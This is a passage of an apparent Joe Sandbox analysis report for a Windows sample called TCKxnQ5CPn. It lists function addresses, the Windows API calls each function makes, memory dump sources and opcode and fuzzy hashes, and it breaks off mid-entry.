                                                            • API ID: IconNotifyShell_
                                                            • String ID:
                                                            • API String ID: 1144537725-0
                                                            • Opcode ID: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
                                                            • Instruction ID: 3df646667435ed4f9b48002a19052cde8f54c55ecc0804097f1bfcff8324dc58
                                                            • Opcode Fuzzy Hash: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
                                                            • Instruction Fuzzy Hash: EB418B72A09B4586E7658F11E4403A873A8FB4AB88F045075DBCC87789EF7CE646C750
                                                            Function 00007FF69DB73E9C Relevance: 3.0, APIs: 2, Instructions: 44COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF69DB6A2E2), ref: 00007FF69DB73EB0
                                                            • FreeEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF69DB6A2E2), ref: 00007FF69DB73F15
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: EnvironmentStrings$Free
                                                            • String ID:
                                                            • API String ID: 3328510275-0
                                                            • Opcode ID: 06de0f813b7710629a0d57ed14123cd62253c67576c45607d2c1032c5f41a896
                                                            • Instruction ID: acdc714307b2e3c11a309dc94cbc91333eecba9f6722cb862b987445fcfb2606
                                                            • Opcode Fuzzy Hash: 06de0f813b7710629a0d57ed14123cd62253c67576c45607d2c1032c5f41a896
                                                            • Instruction Fuzzy Hash: 9001C462B08B4581DE309F51A41107E26A0EF86FE0F880270DEAE43BD9FE3CE5518350
                                                            Function 00007FF69DB33730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • IsThemeActive.UXTHEME ref: 00007FF69DB33756
                                                              • Part of subcall function 00007FF69DB59334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF69DB59348
                                                              • Part of subcall function 00007FF69DB336E8: SystemParametersInfoW.USER32 ref: 00007FF69DB33705
                                                              • Part of subcall function 00007FF69DB336E8: SystemParametersInfoW.USER32 ref: 00007FF69DB33725
                                                              • Part of subcall function 00007FF69DB337B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB337F2
                                                              • Part of subcall function 00007FF69DB337B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB33807
                                                              • Part of subcall function 00007FF69DB337B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB3388D
                                                              • Part of subcall function 00007FF69DB337B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB33924
                                                            • SystemParametersInfoW.USER32 ref: 00007FF69DB33797
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 4207566314-0
                                                            • Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
                                                            • Instruction ID: 337f76fdbd82078d0e6c3b79b9f39fff15e846af115075b2d3ee350f3ffcf33e
                                                            • Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
                                                            • Instruction Fuzzy Hash: F30128A0E0D243CAF7349BA1A90157562A5EF1A708F4450B6D5CCC63AAEE3CA486A740
                                                            Function 00007FF69DB6B3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorFreeHeapLast
                                                            • String ID:
                                                            • API String ID: 485612231-0
                                                            • Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
                                                            • Instruction ID: 9df0c15581e5c8b316b8414f03ffd28ad3c27382c1ecd0c1e7e214f2bc567c8d
                                                            • Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
                                                            • Instruction Fuzzy Hash: 74E086D1F0950382FF346BB2981817C32E5DF56B60B8440B4C88DC7259FE2CE4954614
                                                            Function 00007FF69DB704B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseErrorHandleLast
                                                            • String ID:
                                                            • API String ID: 918212764-0
                                                            • Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
                                                            • Instruction ID: 22c3faee3c048d17beb7794c688fcfb1913a9ec44edcac05349285b607144f8a
                                                            • Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
                                                            • Instruction Fuzzy Hash: D311DA91B0C24252FEB45724969427C11E1DF56B64F4401B5DA9EC67DAFD6CF4414301
                                                            Function 00007FF69DB41475 Relevance: 2.0, APIs: 1, Instructions: 533COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Init_thread_footer
                                                            • String ID:
                                                            • API String ID: 1385522511-0
                                                            • Opcode ID: e869654350b1d585ac28b73911299a849cdf7de5e5dd263a2f3101a0d6b2730c
                                                            • Instruction ID: 0f219533cfc9547b16e77e818a1ea6f7ad02d6c0610e6a596dd5ed2cbd9b684c
                                                            • Opcode Fuzzy Hash: e869654350b1d585ac28b73911299a849cdf7de5e5dd263a2f3101a0d6b2730c
                                                            • Instruction Fuzzy Hash: D13292A2E0C68286EB70CB15D4503B96761FB86BC8F4481B6DE8D87799EF3DE442C701
                                                            Function 00007FF69DB920D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClearVariant
                                                            • String ID:
                                                            • API String ID: 1473721057-0
                                                            • Opcode ID: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
                                                            • Instruction ID: f6250e9cc18d3dda989ba8275f1cc4d536533fa67bba61373c81c2ad4d9b9a12
                                                            • Opcode Fuzzy Hash: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
                                                            • Instruction Fuzzy Hash: FC416D72B08A8186FB20DF65D0403AC23B1EB55B88F444575CE8D9779AEF7CE455C350
                                                            Function 00007FF69DB58FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: HandleModule$AddressFreeLibraryProc
                                                            • String ID:
                                                            • API String ID: 3947729631-0
                                                            • Opcode ID: 79a8f9e3fe50e3bd62fad2946b9f3cab9d1411ae91e96718622d0c848b5f8289
                                                            • Instruction ID: b35c41b252927da7e1aaa4c628e6a5cda1b401a4e8a470295179cce17705afda
                                                            • Opcode Fuzzy Hash: 79a8f9e3fe50e3bd62fad2946b9f3cab9d1411ae91e96718622d0c848b5f8289
                                                            • Instruction Fuzzy Hash: 1E41E2A1E08662C2FF74DF15D85027823A1EF82750F5848B9DA8EC76D9FE3DE8428340
                                                            Function 00007FF69DB76D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3215553584-0
                                                            • Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
                                                            • Instruction ID: 63822f50e266c13a3a5f27a87d2442267db3b7523640cb22dd0b0dcc603d0d24
                                                            • Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
                                                            • Instruction Fuzzy Hash: 0E21B8B261864697E7B58F25E44037976A1EB85B94F144234DA9DC7AD9FF2CD801C700
                                                            Function 00007FF69DB648E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3215553584-0
                                                            • Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
                                                            • Instruction ID: faf96187b5721670c6413a37f497ff248e0abff344b496b7761ce38a19716f11
                                                            • Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
                                                            • Instruction Fuzzy Hash: 792156A1A1CA8281EA719F51940127E72A5FF46B94F944071EACCD7B8EFF7CD8518740
                                                            Function 00007FF69DBB5B80 Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
                                                            • Instruction ID: c4e0f9692bb9f392fa383d081491fe3b6bd5a4eac797255be9a51bf94df4767a
                                                            • Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
                                                            • Instruction Fuzzy Hash: BC116AA6B19A4582EB249F16D08037C63A0EB89FD0F145272DE9E873A9EF3CD4908701
                                                            Function 00007FF69DB70414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
                                                            • Instruction ID: 7bf2de9501dab225e1e664b36ba003bfd0159689da081c220055348cced77987
                                                            • Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
                                                            • Instruction Fuzzy Hash: EA1194F2A1C64696EA249F50D5543AD77B1EF91760F904172E6CD466D9FF7CE001CB00
                                                            Function 00007FF69DB648EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3215553584-0
                                                            • Opcode ID: 5f4a90eb59d34f8a58853582a43e16d1c8b32088f69f0843c5a4c245a390bb8e
                                                            • Instruction ID: 46dc7d337f7da05a895e3070f42447e3a4aa639ea138579f7425dbeeb7e82d9d
                                                            • Opcode Fuzzy Hash: 5f4a90eb59d34f8a58853582a43e16d1c8b32088f69f0843c5a4c245a390bb8e
                                                            • Instruction Fuzzy Hash: 750171A1E0DA0745FD34AB65942537C3150DF97B74FA416B0E9ADC72CEFE6CE8014214
                                                            Function 00007FF69DB64970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3215553584-0
                                                            • Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
                                                            • Instruction ID: b77af69f61bfdb8a77fbb68ccc2d0d5be863b554fd41690d7103b44e065c2e4f
                                                            • Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
                                                            • Instruction Fuzzy Hash: 41F0B4A1E5C60346E934A775A40127E3290DF42760FA41270EADEC72CFFE6CE4518601
                                                            Function 00007FF69DB3652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                            Download Yara Rule
                                                            APIs
                                                              • Part of subcall function 00007FF69DB64970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF69DB64999
                                                            • FreeLibrary.KERNEL32(?,?,?,00007FF69DB7C8FE), ref: 00007FF69DB3656F
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FreeLibrary_invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3938577545-0
                                                            • Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
                                                            • Instruction ID: c17c179b5f203480865a2f582dc8a3df37da8a67ed7150585b6b738f34c1592d
                                                            • Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
                                                            • Instruction Fuzzy Hash: 99F03A92A1AB0986EF2DCF65C05633862A0EB69F48F1505B0CA8E8A18DEF2CD4549241
                                                            Function 00007FF69DB54C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Concurrency::cancel_current_task.LIBCPMT ref: 00007FF69DB54C5C
                                                              • Part of subcall function 00007FF69DB55600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69DB55609
                                                              • Part of subcall function 00007FF69DB55600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF69DB5561A
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
                                                            • String ID:
                                                            • API String ID: 1680350287-0
                                                            • Opcode ID: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
                                                            • Instruction ID: 21711699a7c3782090b7a29f4617c509b6fabe1d46a2dcf56c33ad001f0a1aea
                                                            • Opcode Fuzzy Hash: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
                                                            • Instruction Fuzzy Hash: F1E0B6C0E1E14B45FD786A6695451B811808F9B371E581BB0D9FECB2DABD1CB4954210
                                                            Function 00007FF69DB5DEF8 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CriticalDeleteSection
                                                            • String ID:
                                                            • API String ID: 166494926-0
                                                            • Opcode ID: 1e503f39ac4771ab9e5c77a385804bbde878bde5e9aec211bf0958570055964e
                                                            • Instruction ID: fcf8018c292b21f9a0253e5864c8a701569d8f4285040b04878cc303d14d342d
                                                            • Opcode Fuzzy Hash: 1e503f39ac4771ab9e5c77a385804bbde878bde5e9aec211bf0958570055964e
                                                            • Instruction Fuzzy Hash: 8FF0659BE0890681FF31EB65D8913BD2360EF99B14F8401B1C8DEC236AFE5CF4858211
                                                            Function 00007FF69DBAB334 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FileWrite
                                                            • String ID:
                                                            • API String ID: 3934441357-0
                                                            • Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
                                                            • Instruction ID: 733d8712cf585ce29d5827d5614655b3cde6d60a3795c344281b18083752a5aa
